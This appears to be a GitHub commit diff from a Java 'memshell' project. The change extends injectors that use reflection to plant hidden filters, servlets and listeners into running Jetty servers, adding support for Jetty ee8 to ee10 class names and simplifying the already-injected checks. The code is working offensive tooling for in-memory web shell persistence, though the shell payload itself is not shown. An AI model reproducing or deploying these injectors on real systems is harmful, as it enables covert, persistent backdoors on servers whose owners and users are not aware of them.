Skip to content

Commit b1ddec4

Browse files
committed
feat: support jetty ee8 ~ ee10 env
1 parent 44155bd commit b1ddec4

File tree

3 files changed

+43
-53
lines changed

3 files changed

+43
-53
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java

Lines changed: 20 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -50,17 +50,32 @@ public void inject(Object context, Object filter) throws Exception {
5050
if (servletHandler == null) {
5151
return;
5252
}
53-
if (isInjected(servletHandler)) {
53+
if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
5454
System.out.println("filter is already injected");
5555
return;
5656
}
5757

58+
String[] classNames = new String[]{
59+
"org.eclipse.jetty.servlet.FilterHolder",
60+
"org.eclipse.jetty.ee8.servlet.FilterHolder",
61+
"org.eclipse.jetty.ee9.servlet.FilterHolder",
62+
"org.eclipse.jetty.ee10.servlet.FilterHolder",
63+
"org.mortbay.jetty.servlet.FilterHolder",
64+
};
65+
5866
Class<?> filterHolderClass = null;
59-
try {
60-
filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
61-
} catch (ClassNotFoundException e) {
62-
filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder");
67+
68+
for (String className : classNames) {
69+
try {
70+
filterHolderClass = context.getClass().getClassLoader().loadClass(className);
71+
} catch (ClassNotFoundException ignored) {
72+
}
73+
}
74+
75+
if (filterHolderClass == null) {
76+
throw new ClassNotFoundException("FilterHodler");
6377
}
78+
6479
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
6580
Object filterHolder = constructor.newInstance(filter.getClass());
6681
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -154,26 +169,6 @@ private Object getShell(Object context) throws Exception {
154169
}
155170
}
156171

157-
public boolean isInjected(Object servletHandler) throws Exception {
158-
Object filterMappings = getFieldValue(servletHandler, "_filterMappings");
159-
if (filterMappings == null) {
160-
return false;
161-
}
162-
Object[] filterMaps = new Object[0];
163-
if (filterMappings instanceof List) {
164-
filterMaps = ((List<?>) filterMappings).toArray();
165-
} else if (filterMappings instanceof Object[]) {
166-
filterMaps = (Object[]) filterMappings;
167-
}
168-
for (Object filterMap : filterMaps) {
169-
Object filterName = getFieldValue(filterMap, "_filterName");
170-
if (filterName.equals(getClassName())) {
171-
return true;
172-
}
173-
}
174-
return false;
175-
}
176-
177172

178173
@SuppressWarnings("all")
179174
public static byte[] decodeBase64(String base64Str) throws Exception {

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -93,9 +93,11 @@ private Object getShell(Object context) throws Exception {
9393

9494
public static void inject(Object context, Object listener) throws Exception {
9595
if (isInjected(context, listener.getClass().getName())) {
96+
System.out.println("listener is already injected");
9697
return;
9798
}
9899
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
100+
System.out.println("listener added successfully");
99101
}
100102

101103
@SuppressWarnings("unchecked")

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java

Lines changed: 21 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66
import java.lang.reflect.*;
77
import java.util.ArrayList;
88
import java.util.List;
9-
import java.util.Map;
109
import java.util.Set;
1110
import java.util.zip.GZIPInputStream;
1211

@@ -99,50 +98,44 @@ private Object getShell(Object context) throws Exception {
9998
public void inject(Object context, Object servlet) throws Exception {
10099
Object servletHandler = getFieldValue(context, "_servletHandler");
101100

102-
// 1. 判断是否已经注入
103-
if (isInjected(servletHandler)) {
101+
if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
104102
System.out.println("servlet is already injected");
105103
return;
106104
}
107105

108106
ClassLoader classLoader = context.getClass().getClassLoader();
109107

108+
String[] classNames = new String[]{
109+
"org.eclipse.jetty.servlet.ServletHolder",
110+
"org.eclipse.jetty.ee8.servlet.ServletHolder",
111+
"org.eclipse.jetty.ee9.servlet.ServletHolder",
112+
"org.eclipse.jetty.ee10.servlet.ServletHolder",
113+
"org.mortbay.jetty.servlet.ServletHolder",
114+
};
115+
110116
Class<?> servletHolderClass = null;
111-
try {
112-
servletHolderClass = classLoader.loadClass("org.eclipse.jetty.servlet.ServletHolder");
113-
} catch (ClassNotFoundException e) {
114-
servletHolderClass = classLoader.loadClass("org.mortbay.jetty.servlet.ServletHolder");
117+
118+
for (String className : classNames) {
119+
try {
120+
servletHolderClass = context.getClass().getClassLoader().loadClass(className);
121+
} catch (ClassNotFoundException ignored) {
122+
}
123+
}
124+
125+
if (servletHolderClass == null) {
126+
throw new ClassNotFoundException("ServletHodler");
115127
}
128+
116129
Constructor<?> servletHolderConstructor = servletHolderClass.getDeclaredConstructor();
117130
servletHolderConstructor.setAccessible(true);
118131
Object servletHolder = servletHolderConstructor.newInstance();
119132
invokeMethod(servletHolder, "setServlet", new Class[]{getServletClass(classLoader)}, new Object[]{servlet});
120133
invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
121134
invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder});
122-
Class<?> servletMappingClass = null;
123-
try {
124-
servletMappingClass = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
125-
} catch (ClassNotFoundException e) {
126-
servletMappingClass = classLoader.loadClass("org.mortbay.jetty.servlet.ServletMapping");
127-
}
128-
Constructor<?> servletMappingConstructor = servletMappingClass.getDeclaredConstructor();
129-
servletMappingConstructor.setAccessible(true);
130-
Object servletMapping = servletMappingConstructor.newInstance();
131-
invokeMethod(servletMapping, "setServletName", new Class[]{String.class}, new Object[]{getClassName()});
132-
invokeMethod(servletMapping, "setPathSpecs", new Class[]{String[].class}, new Object[]{new String[]{getUrlPattern()}});
133-
invokeMethod(servletHandler, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping});
135+
invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()});
134136
System.out.println("servlet inject successful");
135137
}
136138

137-
@SuppressWarnings("unchecked")
138-
public boolean isInjected(Object servletHandler) throws Exception {
139-
Map<String, Object> servletNameMap = (Map<String, Object>) getFieldValue(servletHandler, "_servletNameMap");
140-
if (servletNameMap == null) {
141-
return false;
142-
}
143-
return servletNameMap.containsKey(getClassName());
144-
}
145-
146139

147140
@SuppressWarnings("all")
148141
public static byte[] decodeBase64(String base64Str) throws Exception {

0 commit comments

Comments
 (0)